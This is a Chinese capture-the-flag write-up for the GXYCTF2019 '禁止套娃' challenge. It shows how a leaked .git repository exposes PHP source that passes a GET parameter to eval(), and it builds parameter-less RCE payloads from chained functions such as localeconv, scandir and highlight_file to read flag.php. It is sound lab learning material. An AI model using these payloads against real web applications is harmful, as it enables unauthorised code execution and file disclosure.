[GXYCTF2019]禁止套娃
打开环境没有发现什么提示,使用dirsearch扫描目录,发现git泄露。
通过githack下载源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
第5行preg_match()函数,不同于preg_match_all(),只匹配一次,过滤了data、filter、php、phar几种协议。
第6行preg_replace()函数是替换功能,把exp中的:a-z,_,+表示1次或多次,(,), (?R)表示当前表达式,第二个?表示前面的(?R)零次或多次,这行代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这个条件就成立。
第7行preg_match()函数,看exp里有无:et或na或info或dec或bin或hex或oct或pi或log,前面有!,所以exp里不能有这些东西,进制转换和带有get的函数都无法执行。
方法1:结合print_r()、scandir()、current()、localeconv()、array_reverse()、next()多个函数
print_r()进行输出;用scandir()来获取当前目录下全部文件和目录;current() 返回数组中当前元素的值;
使用localeconv()获取第一项为.的数组:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
localeconv() 函数会返回以下数组元素:
[decimal_point] - 小数点字符。
[thousands_sep] - 千位分隔符。
[int_curr_symbol] - 货币符号 (例如:USD)。
[currency_symbol] - 货币符号 (例如:$)。
[mon_decimal_point] - 货币小数点字符。
[mon_thousands_sep] - 货币千位分隔符。
……
获取localeconv()返回数组的第一位即可得到.
array_reverse()将返回数组反转过来,用next()获取第二项。
我们开始构造payload:
1.查看当前目录情况
exp=print_r(scandir(current(localeconv())));
2.使用反转数组函数:array_reverse()。再让指针指向下一个数组元素(第二个)next()
exp=print_r(next(array_reverse(scandir(current(localeconv())))));
3.使用highlight_file读取文件
exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
关于无参数RCE的内容,参考几位师傅们的博客,需要再好好学习学习,这里贴上链接:
https://noahtie.github.io/2021/05/17/%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83/
https://arsenetang.com/2021/07/26/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%8F%82%E6%95%B0rce/
标签:禁止,套娃,函数,GET,localeconv,数组,exp,preg,GXYCTF2019 From: https://www.cnblogs.com/fishjumpriver/p/18010872